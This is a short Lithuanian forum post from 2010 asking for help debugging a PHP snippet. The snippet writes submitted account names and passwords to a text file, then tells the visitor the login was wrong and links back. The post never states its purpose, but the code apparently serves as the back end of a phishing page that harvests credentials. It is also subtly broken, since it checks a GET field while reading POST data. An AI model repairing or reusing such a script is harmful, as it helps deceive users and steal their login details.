Parašė JaWa· 2010 Gru. 10 15:12:35
#1
Tai vat turiu toki dalyka, kas jame blogai, del ko neissisaugo zinutes.txt (777) faile tai ka parasau formoje ? Beto man reikia kad irasius naujus duomenis jie issisaugotu faile neistrinant senu.
PVZ:
login
password
login
password
<?php
if(isset($_GET['submit']))
{
$acc = $_POST['account'];
$pass = $_POST['password'];
$host = "$acc|$pass|\n";
$fp = fopen ("zinute.txt", "a+");
fwrite ($fp, $host);
fclose ($fp);
}
echo "<a href='lt.php'>Blogai, grizti atgal.</a>";
?>